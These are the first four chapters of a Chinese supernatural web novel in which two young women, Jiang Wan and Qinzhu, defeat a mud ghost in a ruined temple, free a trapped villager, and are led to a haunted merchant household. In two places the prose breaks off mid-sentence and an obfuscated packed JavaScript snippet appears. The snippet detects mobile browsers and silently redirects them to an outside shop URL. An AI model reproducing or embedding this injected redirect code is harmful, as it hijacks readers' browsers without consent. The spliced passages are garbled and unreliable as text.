《今竹封阳》 1. 画中人 正宁十九年夏,陵南府常山天生异象,黑云遮日惊雷数起,翌日云散,山无异状。同年,京城流言有阴器现世,恐使生灵涂炭。传闻国师日夜做法观星,皇帝下令兴修庙宇祭祀。 正宁二十二年,冬,邵州临湘县。 更夫的梆子在铜锣上快打了最后一下,姜绾缩着脖子从客栈门口探出头,紧紧抱着手中包袱左右瞧了下快步坐到旁边刚支开的包子铺里。 五更三刻,天还是黑的,干冷的风吹在身上,冻得姜绾打了个哆嗦,紧了紧怀里的包袱,朝老板催了两声。 那老板朗声应后,感叹了声:“这才刚入冬……怎么一年比一年冷!” 姜绾缩在摊子角落,闻言扯唇笑笑,权当回应,在她没看到的地方,有位大叔也来了摊子,恰好听着这句,便搭着老板的话聊:“是啊,前些日子我女儿来信,说是峡州都下了雪,你说吓不吓人。” 老板知道这叔又在炫耀他女儿嫁了个好人家,笑得体面,实则敷衍完事,将人赶到一边坐着,另起话头:“近两年是邪门了点,莫不是和那传言有关系。” 这位叔正好坐在姜绾对面,侧着身子转去和老板说话,把正在风头的姜绾堵了个严严实实。 她立刻攥着包袱把脑袋埋得更低,听面前的大叔叨叨:“有关系又咋了,咱也只能盯着每天三顿饭——今儿咋这么慢!” 终于问道姜绾心头了,她赶紧抬头去看那蒸笼里的包子。 旁边老板赶忙解释:“快了快了,这不是老孔他媳妇一大早找来说老孔不见了,跟我媳妇在那说道了一会,耽搁了耽搁了。” 大叔装着骂了两句,转过来看到缩成一团的姜绾,盯着上下扫了两眼,又转回去,嫌弃地说:“老孔……就三天两头跳河那个?” “说的是啊……” 姜绾听到老板说话声音变小,抬头去看,那头热腾腾的白气冒得老高,是包子好了。 她急忙站起来从老板手里抢来裹包子的油纸,匆匆道了谢后转身向城门迈着急促的步子。 临湘县外围着些不高的山林,山路大多平缓。可再好走的路,碰上这半黑不亮的天,也走得艰难。 奇怪的是,姜绾宁愿这么摸着黑,也不愿点把火,甚至脚步稳着,小心翼翼地控制着尽量不发出声音。 走了不久,姜绾鼻间呼出长长一条白气,快步跑向眼前的一处荒庙。 前些年修了不少寺庙,意在祭神保运,可谁知道怎么回事,这两年天冷得越发早,雨水还少,收成不好百姓日子都过不下去,哪还有闲心来添香火。 所以这山野间新建的许多庙宇,倒是便宜了那些赶路人。 姜绾在门口清了清嗓子,侧耳听了听,没见什么动静后,便收了裙摆跨过门槛,却在踩到地面的时候不小心滑了一下。 这天寒地冻摔一下可不得了,她急忙扶着门板,然而竟又摸了一手粘腻。 这触感实在不太美妙,一瞬间闪进姜绾脑海里的画面繁多,把她吓得迅速弹开手,另一只脚都还没踏进门槛,上一只脚就已经慌忙着要向一边躲。 好不容易维持着这个凌乱的姿势,姜绾在刚刚打滑的地方又是一个踉跄,后脚绊到门槛,不过好在她及时稳住身形,只是撞在了墙上。 姜绾痛呼一声,又想到什么捂住嘴巴,然后整个人顿住,愣愣移开手。 身后破烂窗缝中漏来一束浅光打在手心,摊开的手掌上糊着一团黑,就是刚才摸到门板上的东西,闻着没有血腥味,倒像是——她捻着手指,倒像是泥巴。 手心的泥巴薄薄一层,滑腻非常,没有半点干粘在皮肤上,却又牢牢挂着手,一滴都流不下去。 姜绾表情皱皱巴巴,另一只手揉着肩膀,寻到角落里攒了一圈干草点燃,认真搓着手好一会,将那泥巴尽数划去,这才舒服,扭头去看刚才门槛的地方。 从木门槛延伸到里面的石板地上,有到深深印记,小臂多宽一点,一直延伸到她所在的角落前一点,就因为光线看不到了。 她又往墙角坐了坐,打量四周。 荒庙很小,朝前四五步便是个盖着布的香案和看不出样貌材质的神像,这边火堆太小,只能映出那头像的大概轮廓,很端正。 姜绾看着那座灰蒙蒙的像,竟觉得这像雕得似乎是个女子。 啊对,女子。她表情忽然变得懊恼,将缩在袖子里的手伸出半掌拢在嘴前哈着气搓了搓,活动两下将胸前膝盖夹着的小包袱拆开。 从里面叮铃铃一堆里翻出一张压皱的纸,很小,不过手掌大一点。 破窗又灌进一些风,吹得火苗晃动,手中纸差些飞走,姜绾用力握住,忍着那寒风过去,将纸展开,凑近火堆去看纸上的内容——是张画像,半身的女子像。 干草烧不了一会就没了,姜绾只能又去别处找些树枝继续点燃,开始烧的不够旺,她只能再凑近点。 细眉斜飞入鬓,狭长的眼低垂,唇倒不和眉眼那般似的薄,可姜绾将那整张脸放一起瞧着,依旧觉得这姑娘看上去不太好亲近。 她又将那纸抹的平了些,发现和鼻梁一起被特意勾出来的,还有耳边的一个黑点。 是手滑了? 姜绾盯得眼酸,看上看下没看出别的了,便将纸翻过去,空白的一片,只有左下角标着两个字。 这张像因为一些原因姜绾并不愿意多看,所以也没有发现这后面的小字。 纸背面被渗了些墨迹,因而这两个小字很难辨认,她把头凑得极近,又将纸使劲往光源靠,直把自己看出了一头细汗。 “岑……” 刚看出些名堂,外面忽然传来一道十分敞亮的脚步声,枯枝被那人在脚下踩得毫不留情。 咔嚓脆响在这荒无人烟的地方宛如平地炸雷,更别说姜绾这一路做贼似的,一下子被惊得一抖,手指一松那纸便直直落下,被近在咫尺的火舌吞了大半。 “欸!” 姜绾急急要去捡,然而那纸实在小了些,剩下一半还不等她拯救,就已经成为烤火的燃料。 而她也来不及惋惜,系好包袱胡乱踢了刚坐着的位置,踮着脚缩在神像和香案之间。来人也并不像是路过,那脚步声一声比一声大,显然是朝着这荒庙而来。 姜绾屏住呼吸,默默祈祷这只是个寻常过路人,一边扒开香案厚布一侧的破洞,瞪大眼睛盯着门口。 天色依旧昏暗,远处那道身影清瘦高挑,步履稳健,身上没带任何东西,也没有同行之人。可却有说话声传来。 “这?别动。” 女声沉沉的,带着倦意,但这都不是重点,重点是这话为何像是在对别人说的?哪里有人! 姜绾莫名觉得身上发毛,大气都不敢喘,眼珠滴溜溜转着琢磨等会该如何跑。 那道身影终于到了庙中,靠近火光,看得更加清晰。 来人穿着豆绿色的粗布麻衣,墨发尽数被一根木簪挽在头顶,只额角因赶路散落了些碎发,腰间挂着两个奇怪的东西,随着步伐发出沉闷的声音。 这装扮从外面进来,姜绾都顾不上发毛了,只替她感觉冻得慌,默默打了个寒颤。而在看到这女子站在庙中环顾一圈,对着空无一人的屋子问话时,姜绾恨不得就地消失。 “是这就动一下。” “没鬼……但有人。” 姜绾听见这句话腿都软了,大冷天硬是吓出一身汗,抱着膝盖轻轻张开嘴无声喘气。 她颤巍巍对着那破洞望出去,小小一破口里,那抹绿色正好转身,柴火在她的脚下燃得正旺,噼里啪啦的。 那人居高临下回眸,火光照亮了半边身子,和她来了个深情对望。 姜绾:…… 尽管常识告诉姜绾,这么黑的环境这么小的洞,打死都不可能看到她。但是情况摆在眼前,任谁见到这场景都难免慌乱。 而且最主要的是,那晃动火光映照下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“啊,哈哈,那是——” “他。” 姜绾呆滞的“啊”了一声,迷茫地环视一周,听见了熟悉的沉闷敲击声,便闻声低头。 看见芩竹正伸手勾着腰带上挂着的黑色的碎块晃着。说是碎块,是因为它形状一点不规矩,和被摔碎了一样,只有拇指那般大小,还被戳了孔穿了绳。 芩竹收回手,那碎块落下,就会和同它挂在一起的巴掌大小的素木牌碰上。 那木牌不知道被这碎块撞了多久,油光锃亮的牌子斜着道丑陋的裂纹,从左上劈来右下,裂得实在,但木牌依旧整个黏得整齐牢固,没有要断掉的样子。 姜绾盯着她腰间,干笑出声。 谁会对这个死物说话?这姑娘可能真是有毛病。 芩竹不知她心中所想,回答完问题便掠过她抬手拍拍香案,又往前走着看着。 末了继续说一句:“没有就走了。” 姜绾:…… 她清清嗓子,凑上前去,却觉得脚有些麻,使劲跺跺脚才抬起,就这样脚下都似有千斤重。 可她急着说话,也没顾上这半点的奇怪,追着芩竹小声说:“这两年不太平,你一个姑娘家家出门难免遭人惦记,要不你我同行如何?” 芩竹这会走到神像另一头, 因为看不清,所以伸手摸索着,划过一片湿滑的东西,她收回手转身靠近鼻尖闻了闻,恰好和追来的姜绾撞上。 两人身高差不多,她眼疾手快偏开手,不至于叫这人碰到,又退开两步摇头:“不用。” 姜绾注意到她的动作,踮脚去看她收在一边的手,指着那指尖说:“那是泥,门上也有的,就是不太好擦,我这里有手帕可以借你啊!” 这种天气,荒庙里为什么会有这么湿润的泥? 芩竹按下她拆包袱的手,继续转回刚才神像一角,可天色未亮,角落被墙壁神像还有她挡得更是黢黑,什么也看不到。 正要上手拍拍,脸侧伸来一只手,接着耳边的碎发被一口气吹得乱飘。 2. 泥庙鬼 哧!一束火光冒出。 芩竹稍微偏了下脸,看到半个身位后的姜绾伸长胳膊举着个火折子对她咧出一个笑。 “有用吧。”姜绾得意道,俯身越过芩竹的肩膀去看那里有什么,然而只看到一个半身高的黑不溜秋的不明物体。 手上的火折子被芩竹接过去,那人弯腰将火凑近,也没看出什么来,而伸手去摸,立刻又是一手的泥。 “咦!谁在这堆了一坨泥浆啊!”姜绾见状,嫌疑地呲牙,缩缩脖子朝后挪了一步。 芩竹指尖相碰搓了搓,姜绾说那是泥浆倒也不算错。她手指触碰到那东西时便和伸进河流一般,差别就是泥巴比水略粘稠了些。 平白无故冒出一个流动的泥浆堆……她蹲下身,去看这泥堆底下。 这时候,姜绾还在后面搭话:“话说你是从哪来又去哪里?往北我都熟,你跟我走我带你啊?” 她说了半天,芩竹不知道蹲着做什么,开始还是面对着那泥堆,现在已经转了个方向,在地面上这摸摸那拍拍。 姜绾忽然觉得心头窜上一股憋闷,脑袋涨得难受,身子变得非常沉重,眼前猛地黑了一瞬。手指原本只是飞快地绕着包袱的绳结,却不知什么时候,从里面摸出了根一指粗的红绳。 “你跟我走……你跟我走……” 芩竹顺着刚才泥堆底下那一缕流出的泥水,转了圈发现它一条连着神像的底座,一条去往了——面前的一双鹅黄色翻绒的棉鞋底部。 这鞋靠得太近,几乎已经走到芩竹眼前了,她蹲着步子往后挪开打算起身,刚一抬头,就被姜绾拿绳套了脖子,这人还象征性的打了个结,做的是勒死她的架势,可好巧不巧,结在绳子一半卡住了。 所以对面用力,遭殃的只是芩竹后脖颈那点皮肉。 芩竹:…… 包袱“啪”的一声掉在地上,里面的东西咕噜噜滚了一地。 “你跟我走……”姜绾毫无所觉,在芩竹脖子那圈绳上用力,将人拽了起来。 芩竹顺着颈间那不轻不重的力道站直,将火折子举在她和姜绾中间。 幽暗中光线刺目,可姜绾依旧直愣愣睁着双眼死盯着她,黝黑的瞳孔没有半点映出的火光。 “你——” 芩竹刚开口,庙中突兀起了阵风,仅有的两处光线全被吹灭,只余下正门打进来那两人宽的微弱月光。 腰间突然嗡嗡震了起来,频率极快的敲击声在这荒庙中更叫人牙酸,还伴着面前哀怨叹息似的声音:“你跟我走……” 活像要拽她下地狱似的。 听这碎块蹦哒得如此欢快,再加上刚才那状态奇异的泥巴。怎么着都像是撞鬼了。 芩竹伸手几下拆了脖子上的绳圈,从姜绾手里夺来,那人尽管手上没了东西,但依然维持着动作,嘴上喃喃不停。 她伸手抓住姜绾的领口,立刻便是渗入指缝的泥浆,用力拽来自己身边,那泥浆非但不挤压的更多,反倒从手掌下溜走,逃也似的。 芩竹迅速按着刚才姜绾的样子,拿红绳打了个圈,朝刚才姜绾站着的位置一扔。 绳圈在空中停住,就仿佛在当空套中了什么,她立刻收紧,绳圈的角度变得扭曲。 这时候,身旁中邪的姜绾忽然清醒,睁眼一抹黑吓得就是一个激灵怼到芩竹的肩膀上。 芩竹下意识扭头看了她一眼,然人还没看清,便是冲破耳膜的一声尖叫。 声大,也快,还夹杂着手舞足蹈。就连芩竹都差点被惊得松了手里紧握的绳子。 “啊!救命啊啊啊!” 她闻声去看,两步外那绳圈里不再空荡荡,红绳正套着个披头散发面目黢黑看不清样貌的丑陋怪人,随着红绳越勒越紧,那怪人身上竟淌下一条条的泥浆,擦过艳红的绳,滴在地上。 听到姜绾的声音,怪人似乎突然咧开嘴角,但若不是有些许光亮,芩竹估计也看不清那人笑了,因为他口中也是黑洞洞的,若无牙无舌。 见到这一幕,姜绾就差原地刨坑了,鸡皮疙瘩从脚底板直升天灵盖,捂着脸崩溃叫道:“什么啊!” “庙鬼。” 芩竹平淡的回答在这凌乱的场景中格格不入,当然,她现在还能死死抓着绳子在姜绾心中就已经比肩九天大神了。 但是这些芩竹肯定是不知道的,现在事情略有些棘手,因为她发现,庙鬼身上的泥正顺着红绳趴向她们。 这朱砂绳应该是从哪得来的法器,因此对庙鬼有一定制约,可也仅仅是让他显形而已,刚才姜绾便是被他拿泥浆附身,这会红绳他也已然适应,制不住他了! 显然庙鬼自己也知道当下情况,胳膊被圈住无法动弹便直接转过身来,全脸只有凸出的眼睛能看到一些白色,大嘴咧着,滚滚泥浆从口中呕出,砸在地面发出“啪叽”的声音。 身上的顺着绳子爬来,地面的则是蠕动着向她们两人围来。 姜绾人都傻了,嗓子眼也和梗着一口泥浆一般上不去下不来,气息急促的芩竹都怕她撅过去。 “上桌子。”芩竹本意是向给姜绾支个招,侧眸却瞟到地上那散落的包袱。 大门外吹来的小风把上面盖着的手帕掀开,露出了里面一叠黄纸。 没想到啊。 芩竹将红绳用力在手上绕了两圈,泥浆只离指尖一寸,绳子变短扯着庙鬼也靠她们更近。 姜绾没料到芩竹这么做,汗毛炸起惊叫道:“你做什么!” “给我四张符。” “不行!” 芩竹说着,动作间又将绳子在手上绕了一圈,泥浆爬上手背,滑溜溜地钻进袖口,那庙鬼只离她们一步之遥,地面的泥水更是已经爬上了两人的脚背。 骤然离近的鬼脸让姜绾两眼一黑,早就忘了刚才说的什么,趁包袱还没被泥水浸湿抓起来扔给芩竹。 庙鬼见到芩竹手上的东西,脸上仅能看到的白色凸出的更大,明显是认得,且在绳中扭动挣扎,泥点甩的到处都是。 芩竹眯着眼,手指翻飞捻开符纸,心念微动,那纸上朱红的符文发 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“噗”的一声,砸成了一摊泥饼,而符纸依旧老老实实贴着燃着,最后一截符纸燃尽,泥饼也变成了干巴的一小堆黑灰。 这庙鬼刚才努力奔到门槛前,这会却刚好让门外吹来的一股风,把黑灰吹散得无影无踪。 芩竹捏着手心,低头看了看,身上的泥点也全被吸了回去。 还好还好。 姜绾抱着包袱在桌上坐了好一会,看周围真的没有别的异样后,才软着手脚挪到门口,从那里将地上那条孤零零的红绳捡回来。 她颇有些不悦道:“你怎么随便拿我的东西。” 芩竹瞥了她一眼,只道:“你自己拿的。”然后便走到刚才那处奇奇怪怪的泥堆旁,此时泥浆已不再流动,整个坨在那里。 想想之前那庙鬼用泥企图裹住她们的身体,那猜测一下,这泥堆里,说不定也是个人呢? 她这般想着,朝泥堆顶使劲拍了一巴掌。 姜绾本是重新拿起火折子想要生火,被这动静一吓,刚刚才送走的恐惧又复燃起来,一个箭步冲到芩竹身边寻求安慰。 然而仔细一看,才知道动静是这里发出来的。 姜绾:…… 她瘪了瘪嘴,抱着小包袱往旁边移开,嘟囔道:“拿了就拿了,救人一命我又没让你给钱,做什么吓我……” 芩竹头也不回,又是一巴掌拍在那泥堆顶上,终于将那纹丝不动的泥堆拍得稍矮了一截,而且靠上的一处漏开了个小洞,就跟沙地中的泥鳅钻的窝一样。 “你自己拿出来勒住我要带我走,后面不过是被我抢去了。”芩竹俯身看了眼那个洞,和姜绾解释刚才的事。 姜绾听得一愣一愣,后知后觉自己鬼上身了,又是一阵后怕,而这感受还没完,就被芩竹冷冷的话打断:“再和我一张。” “什么?不行!”她抱着包袱跨开一大步。 芩竹半蹲下去观察着那个洞。看小洞边的泥水微微打了两下褶,便又伸出手朝她晃了晃:“有个人,还活着。” 3. 投河人 事关人命,姜绾也犹豫不下去了,不情不愿地抽出一张放在她手心,见那修长的手指像变戏法似的将符纸翻进指间,三两下折成个小三角,接着又向她招招手。 “说好的一张!你怎么——” “火折子。” 芩竹转脸过去,拉着张没什么情绪的脸掀起眼皮看着姜绾。后者愣了下,将手上的火递过来,她捏着三角一边点燃,将点火的一端朝下使它着大了些,然后迅速塞进那出气的洞里。 对着那小洞等了片刻没有什么反应,姜绾惋惜自己损失的一张符纸,直了直腰,小声在旁边叨叨:“这一张符可贵了,你都用了我五张了,还有那绳。” 她说着,又重新打量了下芩竹,低下头抱紧自己的包袱:“把你卖了都赔不起。” 姜绾虽是声音小,但这地方总共就这么大,加上本意就是暗暗提醒一嘴,所以芩竹听得清清楚楚。 可她没急着回答,心中时间算的差不多,搭在膝盖上的手随意打了个响指,接着起身退开。 脆响声把姜绾的注意力拉过去,还不等追问,那泥堆上的小洞忽然喷出一股白气,把她吓了一跳,见芩竹站得远些,于是也退过去。 眼看着那喷白气的地方从一个变成两个,再到三个,姜绾扯了两下芩竹的袖口,芩竹“嗯”了一声当作疑惑声,半睁的眼平平滑过来。 虽然面无表情,但姜绾就是从那张脸上读出了四个大字:又怎么了。她自觉闭嘴,乖乖看向前方。 天地良心,芩竹从没这么想,看着姜绾的动作当她又是怕了,于是向她前面跨了半步。 姜绾愣了下,从她身后冒头去看那“三孔喷烟”的黑泥堆从泥浆变成泥块,最后干裂开缝,水分蒸干后缓缓成了个弯腰跪倒的人形。 “天呐,我刚才竟然和他呆了这么长时间。”姜绾遮着额头,站直身子缩回芩竹身后。 芩竹听到她的声音,回道:“他是活人,没什么事。” “我发现你好像不太会……”姜绾从芩竹背后抬起头,从这个角度看,只能看到被门后月光打出的背影,清瘦挺拔,和她的名字一样,像一棵俊秀的竹。 明明冷得吃人的天,她只穿着麻衣,手腕细瘦,窄袖口里伸出来都能宽出那么一寸,却莫名给人一股安心感。 “不会说话吗?之前有人这么说过我。”芩竹的语气和外面干硬的风有的一拼。 姜绾砸吧着嘴认同这句话,再想她刚才的想法,估计也就是因为芩竹这种不通人情,所以显得和世外高人似的。 虽然这高人什么也没有,用的都是她的东西。 姜绾:……怎么有点亏。 正想着,芩竹已经靠近了那干巴的泥人。 人被封在庙鬼的泥里跪了太久,好像有些神智不清,芩竹过去一碰便维持着跪坐的姿势直挺挺倒在一边,然后又被她正经地扶起来,上手去剥干掉的泥。 姜绾看得目瞪口呆,不可置信地说:“你怎么还帮他剥啊,不是说活了吗,等他自己醒来动动不就好了吗?” 芩竹手上动作不停,一板一眼道:“符纸要钱,我救他,合该给点,用来还你。” “我……”姜绾一时语塞,张了张嘴,眼珠转了一圈道:“那我也不用你还了,和我同行一程如何?” “去哪?” “往北,去辰州。”姜绾看着有戏,立刻答道。 “不了,我刚从北边过来。”芩竹果断拒绝。 姜绾一下就泄了气:“别啊,你只说了北边,那肯定没去过辰州啊,就当去玩玩呗!” 芩竹听她说话越来越奇怪,停下动作转眼盯着她:“为何执意让我跟你走,刚才庙鬼俯身时你也是只记得这句话?” 她这话说得严肃,姜绾一下结巴了:“啊?没有吧,不会吧。” “有的。” 芩竹深深看了她一眼,转头要继续“剥皮”,一扭头,面前这满脸粘着干土的泥人竟然已经醒了,是个眼袋颇深的中年男人,正睁着眼睛聚精会神地盯着她和姜绾。 “我这是死了吗……”男人呆愣愣地说,他胳膊衣料上粘着的泥土干掉断开了,以至于活动开后还想伸手摸摸扶着他肩膀的芩竹的手,结果被姜绾嫌恶地一巴掌拍掉。 而男人腿脚间的泥还没完全断开,被姜绾这一拍,重心不稳,像个不倒翁整个栽去了另一头。 就是这个不倒翁不容易起来,撑着胳膊半晌才重新跪好。 “干什么呢!” 芩竹的手搭在半空,听见姜绾的话,默默收回来,静静听着她要说些什么。 一般这种超过两个人的场合时,据芩竹有限的经验来看,还是选择前期隐身比较省事。 果然,有姜绾这句话,男人好像瞬间魂魄归了位,眼睛滴溜溜看了四周一圈,赶紧趴倒,话都说利索了:“两位姑娘,不,仙女,刚才我就是一时失神,真的没什么别的心思!我家中上有老下有小,还请仙女大人有大量,放过我吧!” “呸!我们费力救你,到你这怎么说的倒像是我们将你害到这里的!” 芩竹看那人像是完全好了,便起身站开,认真听姜绾说话。发现她这会语气动作都很外放,有一种故意发出气势的感觉。 男人听到姜绾的话,才明白自己猜错了,更加惶恐,猛地直起腰想问问怎么回事,又不小心扯到僵麻的下半身,竟然发现它们被泥封的严实,顿时无措起来,伸长胳膊想去拽芩竹的衣摆。 “我不想死啊,这是怎么回事啊!”说着还托着沉重腿脚往过移。 “庙鬼的黑泥缠上了你——”芩竹说话一向不紧不慢,然而在这种情况下,男人根本听不得,所以她后半句还没来得及接上,那人已经开始干嚎起来。 “我怎么这么苦啊,信了那江湖术士的邪跑来庙里求神仙,我也只想让我家过上好日子啊……” 就说这种场合她不应该开口,芩竹缓缓眨着眼,偏头打了个哈欠,转回来却发现姜绾在看着她。 这姑娘眉毛一高一低,眼神透着惊奇,对她看看又对男人瞥一眼,好像再说:你弄哭了人,却开始不耐烦? 天知道芩竹是如何在仅仅与姜绾相处不到一柱香的时间里看懂她的表情,这对她来说,的确够奇迹的了。 芩竹点点头,表示她懂了,自信开口:“再等等掰掉就好了。” “……”男人一噎,打了个响嗝,愣愣道:“真的?” 话间,他身体放松,不自觉地往后坐了下,“咔巴”一声,粘着腿和臀的泥巴也裂开了,几块干泥被崩飞,蹦着滚到了姜绾脚边。 “可以了,掰吧。”芩竹伸手指了指,余光看见姜绾又要说话,她表示知道,于是在那泥人努力用泥巴封直的胳膊艰难掰腰上的泥时,冷漠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13562345|142769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无情地开口:“救你一命,符纸五张,红绳一根,应该给我——” 给多少钱她不知道,所以抬头去看这些物件的主人,刚好就看姜绾瞪大眼睛朝着努力摆手。 芩竹借着光努力辨别,发现她的确是伸出两手拼命摆的,便移开眼重新看向那呆滞的泥人,随意道:“十两银子。” 姜绾:…… 男人灰土土的脸变得惨白,白眼一翻,晕了过去。 芩竹又立刻走上前去将人捞起来掐住人中,而这头姜绾万分无奈:“他一看就穷的要死,哪来这么多钱啊!算了,我看你也想不出别的办法了,直接和我走吧。” “不去,”芩竹摇摇头,晃了晃腰间的碎块,“我得找东西。” 姜绾气急,对着她腰间的死物愤愤道:“它让你找的?!” “不算,是我自己要找,只是凑巧。” 芩竹面对她的态度没有半点不悦,也不会回避不礼貌的追问,她问她就答,衬得姜绾的急躁像个笑话。 姜绾抱着膝盖蹲着和她持平,开始委屈:“那你要怎么才能和我一起走啊。” “找到那东西之后。” 姜绾眨眨眼睛:“那找什么去哪找我帮你啊!” 芩竹也眨眨眼睛:“我不知道。” 姜绾快气死了,一屁股朝后坐在地上,把怀里的包袱当成芩竹使劲揉着。 这时,从两人中间冒出一道弱弱的男声:“仙女……” “干什么!”姜绾这会正在气头上,看见他更是有股没来由气,可惜自己刚才那些符纸,嘴上便忍不住叨叨:“你看上去也没什么好的,怎么就招惹上了那庙鬼。” 男人被这么一打岔,也忘了刚才芩竹要钱的事了,愣愣道:“我,我就记得来上了香,然后就什么也记不清了,只觉得每日都干渴难耐,浑身还湿淋淋的沉得不行。” 听他的说法,芩竹想起什么来,扭头看了眼门口的位置,那里有条深色的痕迹,正是姜绾来时打滑的地方。 剩下两人注意到芩竹的动作,也朝门口看去,姜绾盯着那痕迹,忽然福至心灵,猛地转头看向男人:“这印子不会是你吧。” 男人一脸错愕,显然是什么也想不起来。 “看方向是你没错,大概是被庙鬼拖进来的。估计自从你上香开始,它便一直在你身上呆着,吸了你的精气越来越强大,所以你会觉得身上沉重。”芩竹说。 “可他身上得是去水里泡了一遭才能湿得拖出这么一道结冰的印子吧,”姜绾不知不觉便顺着芩竹的话去想了,也是这时,突然记起早点铺那老板的话,转头看向男人,“老孔!” 老孔有点震惊:“仙女认得我?” 芩竹也看过去,姜绾一下被两道视线盯着,不自在极了,嫌弃道:“你一日跳河三次我想不知道也难啊。” “啊?我没——”老孔刚想辩解,芩竹就打断了他,继续提了银子的事。 可能是头次听到有了经验,第二次再来,老孔除了表情痛苦,身子还坚强地跪着,嘴唇嚅嗫:“小的家中拿不出这么钱……但但!我知道哪里有十两银子!” “县城王家正找术士捉鬼,二十两银子!仙女如此神通定能解决,可否由我引荐,就不收我的银子了……”老孔两手攥过来捏过去,紧张兮兮地等着两人回答。 芩竹瞥了眼姜绾,道:“带路。” 4. 王家宅 临湘县王家,家中开了几家银号,算是城中不小的豪商。大夫人育有一女,三年前失足落井。长子王世才来自二房,年仅二十考中进士,知县三年顺风顺水,仕途一片光明。但两日前,王世才突然回乡,才知道大夫人已然离世,且家中不少女眷无故暴毙,那王老爷也张贴告示,说要寻术士驱邪。 这两日传言四起,说是王家家运高升,男丁命格太硬,家里女眷配之不上,大夫人和那些下人无福受之,才会殒命。 老孔说着,感觉到旁边那黄衣女子脸色越来越黑,声量逐渐落了下去,说到后面干脆闭嘴,果然,他话音刚落,姜绾便讥讽道:“从来没听过这样的言论,莫不是那王老爷鬼喊捉鬼吧?” "这,这我也是听邻里瞎传的……"老孔实在不敢惹这一点就炸的姜绾,可转过去看芩竹,这姑娘一脸冷若冰霜,看一眼比说话灌进胃里的西北风还冻人,更是难以接近,只觉得这回县城的路途格外遥远,步子都加快了几分。 离姜绾出城不到一个时辰,又回到了临湘县,只不过这次进城的多了两个,天还是麻麻黑,三人又不熟,这路走得难免枯燥,老孔到底是个年纪大的,犹豫半天,还是开了口:“两位仙女,不知这驱邪捉鬼的法子都是哪学来的,这年头还有如此年轻的术士,不太容易哈……” 流年不利,而国师所谓的祭神没有半点用处,头两年因着阴器现世,不少人家找来术士看家中风水或做法辟邪,结果大多都做了冤大头,被江湖骗子骗去血汗钱,故而如今术士地位不尴不尬,尤其是芩竹这两个看上去就不太靠谱的。 老孔都担心那王家会不会同意把这两个小丫头放进去。 听见老孔的问话,姜绾也着实好奇。无他,芩竹实在过于神秘,记得她第一次拿到芩竹画像时,那时候没认真看,连名字都没有找到,只拿着芩竹的曾经用过的东西便自信占卜,白白烧坏了个龟壳,结果什么头绪也没有。 而此刻要找的人就在眼前,总得知道占卜不出来的那段日子,她在哪晃悠着。 因此,正专注赶路的芩竹莫名地收到了两股灼热的视线。她也不负众望,平静开口:“不知道,几年前从陵南来,其余的事都忘了。” 她其实还隐瞒了一点,就是世人皆知的那次陵南府的异象,她算是其中亲历者。但被雷劈后毫发无伤这种事情,芩竹曾经说过一次,就那一次差点被人拖去架柴烧了,美名其曰除妖祭天,自保颇为费力,所以芩竹这次选择闭口不提。 而她这回答,姜绾竟觉得意料之中,只是略微扫兴,于是自己回答也稍显敷衍:“自学成才。” 老孔干笑两声,两手缩在袖子里,抬头张望几下,“诶”了声,长串的白气从口中鼻间喷出来:“到了,那就是王家宅子。” 芩竹闻声看去,跟上老孔的脚步来到院门口,那人脸上挂着笑,刚要敲门,手还未碰到门板,那门便先一步开了,里面传出道声,说着“不成不成”,然后有个长胡长袍的干瘦男人大跨步走出来,估摸着压根没看着门口站着的老孔,一肩膀就将人撞下了台阶。 那男人斜眼向下瞟了眼老孔,什么也没说,向前走去,姜绾见着了,从芩竹身后走出去,小声骂道:“什么东西。” 话音刚落,又是道焦急声音传出,有两个小厮装扮的人冲出来拦住那术士,小声控诉他为何收钱不办事,而那术士一甩衣袖:“做法焚香哪样不耗神费力,你们王家如此家底,就给我这么点钱还想作甚?” 然后又和那小厮一般压低声音:“况且这院里死的死病的病,二夫人和小少爷还卧床不起呢吧,这等鬼怪可是惹不起。”说完又咋舌摇摇头,留下一句:“我劝小兄弟也快快逃命吧。” 小厮不过十岁出头,被这话唬得人还没反应过来,术士早已脚下抹油跑了,而他人没拦下,皱着脸转头,和大门口三个做贼似的打了个照面。 天黑事急,小厮刚出门没注意到门后的人,这一下回头见着,刚刚又被那术士一吓,停顿了下便是一嗓子嚎出来。 “别怕别怕,我,邻街卖肉的——”老孔掸了掸肩上不存在的灰,也是一坨巨大的干泥,和善地笑了下见那小厮缓过来后,转头又在门上敲了两下,示意芩竹跟上来,自己已然跟着小厮进了宅子,还朗声道:“哎!王老爷!” 芩竹挤了挤眼睛,抬高眉头又努力睁睁,重新放松下来发现姜绾正拧眉看过来,她以回看表示疑问,从怀里拿出个巴掌大点,一指节宽的扁水壶,拔开塞子喝了一口。 “你困了?”姜绾看着她这一系列动作,忽然有点后悔自己和她跑来赚什么驱邪的钱了。 “有点。”芩竹半点没看出她的担忧,直接朝着王家走进去。 前院大多是些下人,可能都是看那术士驱邪的。唯一看上去身份特殊的,便是台阶上那个身材矮胖的男人,加上穿戴臃肿,更显得精神萎靡,而那刚刚进屋的老孔正抄着手,缩着脖子站在台下仰头笑着对他说话。 想必就是王老爷了。 还别说,这老孔倒真和那王老爷有点交集,两人来来往往似乎还聊了两句,见芩竹两人进来,老孔立刻将自己这几日的遭遇添油加醋的描述一番,然后指着门口两个黄毛丫头点出最后一句:看,就是她们解救了刚才那么惨的我。 这辈子第一次当着这一屋子人直面如此夸奖,姜绾尴尬的脚都不知道往哪放。反观芩竹,一如往常。 她正望着前院摆着的香案,那地方插着几根已经燃尽了的粗香,香灰围着桌子撒了一圈,又在二门和自己脚下宅院大门的地方撒了一些,区别就是,这些香灰无论怎么踩,都没有任何印记。 可在王老爷身边下人提灯的微光下,桌边到二门的小段路上,竟然多出了道浅浅的脚印。 